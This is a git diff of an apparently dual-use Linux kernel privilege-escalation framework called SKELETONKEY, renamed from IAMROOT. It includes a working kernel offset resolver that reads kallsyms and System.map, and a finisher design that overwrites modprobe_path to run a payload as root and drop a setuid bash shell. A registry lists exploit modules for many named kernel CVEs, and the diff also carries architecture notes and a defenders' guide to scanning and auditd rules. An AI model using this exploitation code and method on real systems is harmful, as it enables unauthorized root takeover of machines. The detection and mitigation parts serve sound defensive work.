* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
* and/or copies /bin/bash to /tmp with setuid root
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
*
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
/* Pattern B: cred uid overwrite. Caller has populated init_task +
* cred offsets. Implementation:
* 1. Walk task linked list from init_task to find self by pid
* (this requires arb-READ too — not supplied here; B-pattern
* modules need to provide their own variant)
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
* helpful error. */
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
/* Diagnostic: tell the operator how to populate offsets manually. */
void skeletonkey_finisher_print_offset_help(const char *module_name);
#endif /* SKELETONKEY_FINISHER_H */
+2 -2
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel_range implementation
* SKELETONKEY — kernel_range implementation
*/
#include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
if (uname(&u) < 0) return false;
/* Stash release string for callers that want to print it. We hold
* a single static buffer; not threadsafe but iamroot is single-
* a single static buffer; not threadsafe but skeletonkey is single-
* threaded today. */
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
out->release = g_release_buf;
+4 -4
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel version range matching
* SKELETONKEY — kernel version range matching
*
* Every CVE module needs to answer "is the host kernel in the affected
* range?". This file centralizes that.
@@ -17,8 +17,8 @@
* patch version is at or above the threshold.
*/
#ifndef IAMROOT_KERNEL_RANGE_H
#define IAMROOT_KERNEL_RANGE_H
#ifndef SKELETONKEY_KERNEL_RANGE_H
#define SKELETONKEY_KERNEL_RANGE_H
#include <stdbool.h>
#include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
bool kernel_range_is_patched(const struct kernel_range *r,
const struct kernel_version *v);
#endif /* IAMROOT_KERNEL_RANGE_H */
#endif /* SKELETONKEY_KERNEL_RANGE_H */
+31 -30
View File
@@ -1,58 +1,59 @@
/*
* IAMROOT — core module interface
* SKELETONKEY — core module interface
*
* Every CVE module exports one or more `struct iamroot_module` entries
* via a registry function. The top-level dispatcher (iamroot.c) walks
* Every CVE module exports one or more `struct skeletonkey_module` entries
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
* the global registry to implement --scan, --exploit, --mitigate, etc.
*
* This is intentionally a small interface. Modules carry the
* complexity; the dispatcher just routes.
*/
#ifndef IAMROOT_MODULE_H
#define IAMROOT_MODULE_H
#ifndef SKELETONKEY_MODULE_H
#define SKELETONKEY_MODULE_H
#include <stddef.h>
#include <stdbool.h>
/* Standard result codes returned by detect()/exploit()/mitigate().
*
* These map to top-level exit codes when iamroot is invoked with a
* These map to top-level exit codes when skeletonkey is invoked with a
* single-module operation:
*
* IAMROOT_OK exit 0 detect: not vulnerable / clean
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
*
* Implementation note: copy_fail_family's df_result_t shares these
* numeric values intentionally so the family code can return its
* existing constants without translation.
*/
typedef enum {
IAMROOT_OK = 0,
IAMROOT_TEST_ERROR = 1,
IAMROOT_VULNERABLE = 2,
IAMROOT_EXPLOIT_FAIL = 3,
IAMROOT_PRECOND_FAIL = 4,
IAMROOT_EXPLOIT_OK = 5,
} iamroot_result_t;
SKELETONKEY_OK = 0,
SKELETONKEY_TEST_ERROR = 1,
SKELETONKEY_VULNERABLE = 2,
SKELETONKEY_EXPLOIT_FAIL = 3,
SKELETONKEY_PRECOND_FAIL = 4,
SKELETONKEY_EXPLOIT_OK = 5,
} skeletonkey_result_t;
/* Per-invocation context passed to module callbacks. Lightweight for
* now; will grow as modules need shared state (host fingerprint,
* leaked kbase, etc.). */
struct iamroot_ctx {
struct skeletonkey_ctx {
bool no_color; /* --no-color */
bool json; /* --json (machine-readable output) */
bool active_probe; /* --active (do invasive probes in detect) */
bool no_shell; /* --no-shell (exploit prep but don't pop) */
bool authorized; /* user typed --i-know on exploit */
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
};
struct iamroot_module {
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
struct skeletonkey_module {
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
const char *name;
/* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -70,20 +71,20 @@ struct iamroot_module {
const char *kernel_range;
/* Probe the host. Should be side-effect-free unless ctx->active_probe
* is true. Return IAMROOT_VULNERABLE if confirmed,
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
/* Run the exploit. Caller has already passed the --i-know gate. */
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
/* Apply a temporary mitigation. NULL if none offered. */
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
* effects. NULL if no cleanup applies. */
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
/* Detection rule corpus — embedded so the binary is self-
* contained. Each may be NULL if this module ships no rules for
@@ -95,4 +96,4 @@ struct iamroot_module {
const char *detect_falco; /* falco rules content */
};
#endif /* IAMROOT_MODULE_H */
#endif /* SKELETONKEY_MODULE_H */
+350
View File
@@ -0,0 +1,350 @@
/*
* SKELETONKEY — kernel offset resolution
*
* See offsets.h for the four-source chain (env → kallsyms → System.map
* → embedded table). This implementation is deliberately small and
* dependency-free.
*/
#include "offsets.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
#include <fnmatch.h>
#include <sys/utsname.h>
/* ------------------------------------------------------------------
* Embedded relative-offset table.
*
* Each entry's modprobe_path / init_task / poweroff_cmd values are
* stored as offsets *relative to _text* (kbase). To resolve absolute
* VAs we add a kbase leak (e.g. from EntryBleed).
*
* Entries here are seeded EMPTY in v0.2.0 except for a small set whose
* offsets are widely documented in public CTF writeups + Ubuntu's
* own debug-symbol packages. Operators on other kernels populate via
* env var or extend this table.
*
* To add a verified entry on a kernel you own:
* sudo grep -E " (modprobe_path|init_task|poweroff_cmd|init_cred)$" \
* /boot/System.map-$(uname -r)
* Subtract _text VA from each to get the relative offsets.
* ------------------------------------------------------------------ */
struct table_entry {
const char *release_glob; /* fnmatch glob against uname -r */
const char *distro_match; /* prefix-match against /etc/os-release ID, or NULL=any */
uintptr_t rel_modprobe_path;
uintptr_t rel_poweroff_cmd;
uintptr_t rel_init_task;
uintptr_t rel_init_cred;
uint32_t cred_offset_real;
uint32_t cred_offset_eff;
};
/* Note: relative offsets below are PLACEHOLDERS for the schema. The
* env-var override + kallsyms + System.map paths are the verified
* runtime sources. Operators who validate offsets on a specific
* kernel build are encouraged to upstream entries here. */
static const struct table_entry kernel_table[] = {
/* Schema example. Uncomment + verify before relying on it.
*
* { .release_glob = "5.15.0-25-generic",
* .distro_match = "ubuntu",
* .rel_modprobe_path = 0x148e480,
* .rel_poweroff_cmd = 0x148e3a0,
* .rel_init_task = 0x1c11dc0,
* .rel_init_cred = 0x1e0c460,
* .cred_offset_real = 0x758,
* .cred_offset_eff = 0x760, },
*/
/* Sentinel */
{ NULL, NULL, 0, 0, 0, 0, 0, 0 }
};
/* Defaults that hold across most x86_64 kernels in the target era. */
#define DEFAULT_CRED_REAL_OFFSET 0x738
#define DEFAULT_CRED_EFF_OFFSET 0x740
#define DEFAULT_CRED_UID_OFFSET 0x4
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
{
switch (src) {
case OFFSETS_NONE: return "none";
case OFFSETS_FROM_ENV: return "env";
case OFFSETS_FROM_KALLSYMS: return "kallsyms";
case OFFSETS_FROM_SYSMAP: return "System.map";
case OFFSETS_FROM_TABLE: return "table";
}
return "?";
}
/* Parse hex/decimal — accepts "0x..." or plain decimal. */
static int parse_addr(const char *s, uintptr_t *out)
{
if (!s || !*s) return 0;
errno = 0;
char *end = NULL;
unsigned long long v = strtoull(s, &end, 0);
if (errno != 0 || end == s) return 0;
*out = (uintptr_t)v;
return 1;
}
static void read_distro(char *out, size_t sz)
{
out[0] = '\0';
FILE *f = fopen("/etc/os-release", "r");
if (!f) return;
char line[256];
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "ID=", 3) == 0) {
char *p = line + 3;
if (*p == '"') p++;
size_t i = 0;
while (*p && *p != '"' && *p != '\n' && i + 1 < sz) {
out[i++] = (char)tolower((unsigned char)*p++);
}
out[i] = '\0';
break;
}
}
fclose(f);
}
/* ------------------------------------------------------------------
* Source 1: environment variables
* ------------------------------------------------------------------ */
static void apply_env(struct skeletonkey_kernel_offsets *o)
{
const char *v;
uintptr_t a;
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
if (!o->kbase) o->kbase = a;
}
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
if (!o->modprobe_path) {
o->modprobe_path = a;
o->source_modprobe = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
if (!o->poweroff_cmd) o->poweroff_cmd = a;
}
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
if (!o->init_task) {
o->init_task = a;
o->source_init_task = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
if (!o->init_cred) o->init_cred = a;
}
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if (!o->cred_offset_real) {
o->cred_offset_real = (uint32_t)a;
o->source_cred = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
}
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
}
}
/* ------------------------------------------------------------------
* Source 2/3: symbol-table file parsing (System.map or kallsyms share
* the same "ADDR TYPE NAME" format).
* ------------------------------------------------------------------ */
static int parse_symfile(const char *path,
struct skeletonkey_kernel_offsets *o,
enum skeletonkey_offset_source tag)
{
FILE *f = fopen(path, "r");
if (!f) return 0;
int filled = 0;
char line[512];
int saw_nonzero = 0;
while (fgets(line, sizeof line, f)) {
char *p = line;
while (*p && isspace((unsigned char)*p)) p++;
if (!*p) continue;
char *end = NULL;
unsigned long long addr = strtoull(p, &end, 16);
if (end == p || !end) continue;
if (addr != 0) saw_nonzero = 1;
while (*end && isspace((unsigned char)*end)) end++;
if (!*end) continue;
/* skip type char */
end++;
while (*end && isspace((unsigned char)*end)) end++;
if (!*end) continue;
char *nl = strchr(end, '\n');
if (nl) *nl = '\0';
if (strcmp(end, "modprobe_path") == 0 && !o->modprobe_path) {
o->modprobe_path = (uintptr_t)addr;
o->source_modprobe = tag;
filled++;
} else if (strcmp(end, "poweroff_cmd") == 0 && !o->poweroff_cmd) {
o->poweroff_cmd = (uintptr_t)addr;
filled++;
} else if (strcmp(end, "init_task") == 0 && !o->init_task) {
o->init_task = (uintptr_t)addr;
o->source_init_task = tag;
filled++;
} else if (strcmp(end, "init_cred") == 0 && !o->init_cred) {
o->init_cred = (uintptr_t)addr;
filled++;
} else if (strcmp(end, "_text") == 0 && !o->kbase) {
o->kbase = (uintptr_t)addr;
}
}
fclose(f);
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
* that as "couldn't read", not "actually zero". */
if (!saw_nonzero) {
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
return 0;
}
return filled;
}
/* ------------------------------------------------------------------
* Source 4: embedded table — relative offsets, applied on top of kbase
* if we already have one.
* ------------------------------------------------------------------ */
static void apply_table(struct skeletonkey_kernel_offsets *o)
{
if (!o->kernel_release[0]) return;
for (const struct table_entry *e = kernel_table; e->release_glob; e++) {
if (e->distro_match && o->distro[0]
&& strncmp(e->distro_match, o->distro, strlen(e->distro_match)) != 0) {
continue;
}
if (fnmatch(e->release_glob, o->kernel_release, 0) != 0) continue;
/* Match. Apply, but only if we have a kbase (relative offsets
* are useless absent that). */
if (!o->kbase) return;
if (!o->modprobe_path && e->rel_modprobe_path) {
o->modprobe_path = o->kbase + e->rel_modprobe_path;
o->source_modprobe = OFFSETS_FROM_TABLE;
}
if (!o->poweroff_cmd && e->rel_poweroff_cmd) {
o->poweroff_cmd = o->kbase + e->rel_poweroff_cmd;
}
if (!o->init_task && e->rel_init_task) {
o->init_task = o->kbase + e->rel_init_task;
o->source_init_task = OFFSETS_FROM_TABLE;
}
if (!o->init_cred && e->rel_init_cred) {
o->init_cred = o->kbase + e->rel_init_cred;
}
if (!o->cred_offset_real && e->cred_offset_real) {
o->cred_offset_real = e->cred_offset_real;
o->source_cred = OFFSETS_FROM_TABLE;
}
if (!o->cred_offset_eff && e->cred_offset_eff) {
o->cred_offset_eff = e->cred_offset_eff;
}
return;
}
}
/* ------------------------------------------------------------------
* Top-level resolve()
* ------------------------------------------------------------------ */
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
{
memset(out, 0, sizeof *out);
struct utsname u;
if (uname(&u) == 0) {
snprintf(out->kernel_release, sizeof out->kernel_release, "%s", u.release);
}
read_distro(out->distro, sizeof out->distro);
/* Defaults — only used if no source overrides. */
out->cred_uid_offset = DEFAULT_CRED_UID_OFFSET;
/* 1. env */
apply_env(out);
/* 2. /proc/kallsyms — only fills if non-zero addrs present */
parse_symfile("/proc/kallsyms", out, OFFSETS_FROM_KALLSYMS);
/* 3. /boot/System.map-<release> */
char path[256];
snprintf(path, sizeof path, "/boot/System.map-%s", out->kernel_release);
parse_symfile(path, out, OFFSETS_FROM_SYSMAP);
/* 4. embedded table (uses any kbase already discovered) */
apply_table(out);
/* Fill any remaining struct-offset gaps with defaults so that
* arb-write-via-init_task-+offset still has a chance even without
* a full source. Mark as TABLE so caller can see they're defaulted. */
if (!out->cred_offset_real) {
out->cred_offset_real = DEFAULT_CRED_REAL_OFFSET;
if (out->source_cred == OFFSETS_NONE) out->source_cred = OFFSETS_FROM_TABLE;
}
if (!out->cred_offset_eff) {
out->cred_offset_eff = DEFAULT_CRED_EFF_OFFSET;
}
int critical = 0;
if (out->modprobe_path) critical++;
if (out->init_task) critical++;
if (out->cred_offset_real && out->cred_uid_offset) critical++;
return critical;
}
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase)
{
if (!leaked_kbase) return;
/* Set kbase if we didn't have one, then re-apply the embedded table. */
if (!off->kbase) off->kbase = leaked_kbase;
apply_table(off);
}
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
{
return off && off->modprobe_path != 0;
}
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
{
return off && off->init_task != 0 && off->cred_offset_real != 0
&& off->cred_uid_offset != 0;
}
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
{
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
off->kernel_release[0] ? off->kernel_release : "?",
off->distro[0] ? off->distro : "?");
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
(unsigned long)off->kbase,
(unsigned long)off->modprobe_path,
skeletonkey_offset_source_name(off->source_modprobe));
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
(unsigned long)off->init_task,
skeletonkey_offset_source_name(off->source_init_task),
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
skeletonkey_offset_source_name(off->source_cred));
}
+93
View File
@@ -0,0 +1,93 @@
/*
* SKELETONKEY — kernel offset resolution
*
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
* (heap-OOB write, UAF, etc.). Converting that to root requires
* arbitrary write at a specific kernel virtual address — usually
* `modprobe_path` (writes a payload path → execve unknown binary →
* modprobe runs payload as root) or `current->cred->uid` (set to 0).
*
* Those addresses vary per kernel build. This file resolves them at
* runtime via a four-source chain:
*
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
* 4. Embedded table keyed by `uname -r` glob (entries are
* relative-to-_text, applied on top of an EntryBleed kbase leak
* so KASLR is handled)
*
* Per the verified-vs-claimed bar: offsets are never fabricated. If
* none of the four sources resolve, full-chain refuses with an error
* pointing the operator at the manual workflow.
*/
#ifndef SKELETONKEY_OFFSETS_H
#define SKELETONKEY_OFFSETS_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
enum skeletonkey_offset_source {
OFFSETS_NONE = 0,
OFFSETS_FROM_ENV = 1,
OFFSETS_FROM_KALLSYMS = 2,
OFFSETS_FROM_SYSMAP = 3,
OFFSETS_FROM_TABLE = 4,
};
struct skeletonkey_kernel_offsets {
/* Host fingerprint */
char kernel_release[128]; /* uname -r */
char distro[64]; /* parsed from /etc/os-release ID= */
/* Kernel base — needed when offsets are relative-to-_text.
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
uintptr_t kbase;
/* Symbol virtual addresses (final, post-KASLR-resolution). */
uintptr_t modprobe_path; /* modprobe_path[] string */
uintptr_t poweroff_cmd; /* poweroff_cmd[] string (alt target) */
uintptr_t init_task; /* init_task struct */
uintptr_t init_cred; /* init_cred struct (or 0) */
/* Struct offsets — same across most x86_64 kernels but config-sensitive. */
uint32_t cred_offset_real; /* offset of real_cred in task_struct */
uint32_t cred_offset_eff; /* offset of cred (effective) in task_struct */
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
/* Where did each field come from. */
enum skeletonkey_offset_source source_modprobe;
enum skeletonkey_offset_source source_init_task;
enum skeletonkey_offset_source source_cred;
};
/* Best-effort resolution. Returns the number of critical fields
* resolved (modprobe_path / init_task / cred offsets count). Caller
* checks specific fields it needs.
*
* Resolution chain is tried in order; later sources do NOT overwrite
* a field already set by an earlier source. */
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
/* Apply a runtime-leaked kbase to any embedded-table entries that
* shipped as relative-to-_text offsets. Idempotent. */
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase);
/* Returns true if modprobe_path can be written (the simplest root-pop
* finisher). */
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
/* Returns true if init_task + cred offsets are known (the cred-uid
* finisher). */
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
/* For diagnostic logging — pretty-print what we resolved to stderr. */
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
/* Helper: return the name of the source enum. */
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
#endif /* SKELETONKEY_OFFSETS_H */
+9 -9
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — module registry implementation
* SKELETONKEY — module registry implementation
*
* Simple flat array. Resized in chunks of 16. We never expect more
* than a few dozen modules, so this is fine.
@@ -14,22 +14,22 @@
#define REGISTRY_CHUNK 16
static const struct iamroot_module **g_modules = NULL;
static const struct skeletonkey_module **g_modules = NULL;
static size_t g_count = 0;
static size_t g_cap = 0;
void iamroot_register(const struct iamroot_module *m)
void skeletonkey_register(const struct skeletonkey_module *m)
{
if (m == NULL || m->name == NULL) {
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
return;
}
if (g_count == g_cap) {
size_t new_cap = g_cap + REGISTRY_CHUNK;
const struct iamroot_module **n =
const struct skeletonkey_module **n =
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
if (n == NULL) {
fprintf(stderr, "[!] iamroot_register: OOM\n");
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
return;
}
g_modules = n;
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
g_modules[g_count++] = m;
}
size_t iamroot_module_count(void)
size_t skeletonkey_module_count(void)
{
return g_count;
}
const struct iamroot_module *iamroot_module_at(size_t i)
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
{
if (i >= g_count) return NULL;
return g_modules[i];
}
const struct iamroot_module *iamroot_module_find(const char *name)
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
{
if (name == NULL) return NULL;
for (size_t i = 0; i < g_count; i++) {
+30 -26
View File
@@ -1,40 +1,44 @@
/*
* IAMROOT — module registry
* SKELETONKEY — module registry
*
* Global list of registered modules. Each family contributes via
* register_<family>_modules() called from iamroot main() at startup.
* register_<family>_modules() called from skeletonkey main() at startup.
*/
#ifndef IAMROOT_REGISTRY_H
#define IAMROOT_REGISTRY_H
#ifndef SKELETONKEY_REGISTRY_H
#define SKELETONKEY_REGISTRY_H
#include "module.h"
void iamroot_register(const struct iamroot_module *m);
void skeletonkey_register(const struct skeletonkey_module *m);
size_t iamroot_module_count(void);
const struct iamroot_module *iamroot_module_at(size_t i);
size_t skeletonkey_module_count(void);
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
/* Find a module by name. Returns NULL if not found. */
const struct iamroot_module *iamroot_module_find(const char *name);
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
/* Each module family declares one of these in its public header. The
* top-level iamroot main() calls them in order at startup. */
void iamroot_register_copy_fail_family(void);
void iamroot_register_dirty_pipe(void);
void iamroot_register_entrybleed(void);
void iamroot_register_pwnkit(void);
void iamroot_register_nf_tables(void);
void iamroot_register_overlayfs(void);
void iamroot_register_cls_route4(void);
void iamroot_register_dirty_cow(void);
void iamroot_register_ptrace_traceme(void);
void iamroot_register_netfilter_xtcompat(void);
void iamroot_register_af_packet(void);
void iamroot_register_fuse_legacy(void);
void iamroot_register_stackrot(void);
void iamroot_register_af_packet2(void);
void iamroot_register_cgroup_release_agent(void);
void iamroot_register_overlayfs_setuid(void);
* top-level skeletonkey main() calls them in order at startup. */
void skeletonkey_register_copy_fail_family(void);
void skeletonkey_register_dirty_pipe(void);
void skeletonkey_register_entrybleed(void);
void skeletonkey_register_pwnkit(void);
void skeletonkey_register_nf_tables(void);
void skeletonkey_register_overlayfs(void);
void skeletonkey_register_cls_route4(void);
void skeletonkey_register_dirty_cow(void);
void skeletonkey_register_ptrace_traceme(void);
void skeletonkey_register_netfilter_xtcompat(void);
void skeletonkey_register_af_packet(void);
void skeletonkey_register_fuse_legacy(void);
void skeletonkey_register_stackrot(void);
void skeletonkey_register_af_packet2(void);
void skeletonkey_register_cgroup_release_agent(void);
void skeletonkey_register_overlayfs_setuid(void);
void skeletonkey_register_nft_set_uaf(void);
void skeletonkey_register_af_unix_gc(void);
void skeletonkey_register_nft_fwd_dup(void);
void skeletonkey_register_nft_payload(void);
#endif /* IAMROOT_REGISTRY_H */
#endif /* SKELETONKEY_REGISTRY_H */
+11 -11
View File
@@ -14,7 +14,7 @@ modules/<module_name>/
├── MODULE.md # Human-readable writeup of the bug
├── NOTICE.md # Credits to original researcher
├── kernel-range.json # Machine-readable affected kernels
├── module.c # Implements iamroot_module interface
├── module.c # Implements skeletonkey_module interface
├── module.h
├── detect/
│ ├── auditd.rules # blue team detection
@@ -24,10 +24,10 @@ modules/<module_name>/
└── tests/ # per-module tests (run in CI matrix)
```
### `iamroot_module` interface (planned, Phase 1)
### `skeletonkey_module` interface (planned, Phase 1)
```c
struct iamroot_module {
struct skeletonkey_module {
const char *name; /* "copy_fail" */
const char *cve; /* "CVE-2026-31431" */
const char *summary; /* one-line description */
@@ -35,29 +35,29 @@ struct iamroot_module {
/* Return 1 if host appears vulnerable, 0 if patched/immune,
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
* etc. from core/ if a leak primitive is needed. */
int (*detect)(struct iamroot_host *host);
int (*detect)(struct skeletonkey_host *host);
/* Run the exploit. Caller has already passed the
* authorization gate. Returns 0 on root acquired,
* nonzero on failure. */
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
/* Apply a runtime mitigation for this CVE (sysctl, module
* blacklist, etc.). Returns 0 on success. NULL if no
* mitigation is offered. */
int (*mitigate)(struct iamroot_host *host);
int (*mitigate)(struct skeletonkey_host *host);
/* Undo --exploit-backdoor or --mitigate side effects. */
int (*cleanup)(struct iamroot_host *host);
int (*cleanup)(struct skeletonkey_host *host);
/* Affected kernel version range, distros covered, etc. */
const struct iamroot_kernel_range *ranges;
const struct skeletonkey_kernel_range *ranges;
size_t n_ranges;
};
```
Modules register themselves at link time via a constructor-attribute
table. The top-level `iamroot` binary iterates the registry on each
table. The top-level `skeletonkey` binary iterates the registry on each
invocation.
## Shared `core/`
@@ -78,7 +78,7 @@ Code that more than one module needs lives in `core/`:
## Top-level dispatcher
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
`--detect-rules`, `--cleanup`, etc.)
@@ -109,7 +109,7 @@ the module).
1. `git checkout -b add-cve-XXXX-NNNN`
2. `cp -r modules/_stubs/_template modules/<module_name>`
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
4. Implement `module.c` exposing the `iamroot_module` interface
4. Implement `module.c` exposing the `skeletonkey_module` interface
5. Ship at least one detection rule under `detect/`
6. Add tests under `tests/`
7. PR. CI runs the matrix. If it lands root on at least one
+34 -34
View File
@@ -1,25 +1,25 @@
# IAMROOT for defenders
# SKELETONKEY for defenders
IAMROOT is dual-use: the same binary that runs exploits also ships the
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
detection rules to spot them. This document is for the blue team.
## TL;DR
```bash
# 1. Detect what you're vulnerable to (no system modification)
sudo iamroot --scan --json | jq .
sudo skeletonkey --scan --json | jq .
# 2. Deploy detection rules covering every bundled CVE
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo systemctl restart auditd
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
# 4. Watch
sudo ausearch -k iamroot-copy-fail -ts recent
sudo ausearch -k iamroot-dirty-pipe -ts recent
sudo ausearch -k iamroot-pwnkit -ts recent
sudo ausearch -k skeletonkey-copy-fail -ts recent
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
sudo ausearch -k skeletonkey-pwnkit -ts recent
```
## Why a single tool for offense and defense
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
Public LPE PoCs ship without detection rules. Public detection rules
ship without test corpora. The gap means defenders deploy rules they
never validate against a real exploit, and attackers iterate against
defenders who haven't tuned thresholds. IAMROOT closes that loop:
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
- Each module ships an exploit AND the detection rules that catch it.
- Every CVE in `CVES.md` has a row in the rule corpus.
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
### Inventory what's bundled
```bash
iamroot --list
skeletonkey --list
```
Prints every registered module with CVE, family, and one-line summary.
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
### Run all detectors
```bash
iamroot --scan # human-readable
iamroot --scan --json # one JSON object → SIEM ingest
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
skeletonkey --scan # human-readable
skeletonkey --scan --json # one JSON object → SIEM ingest
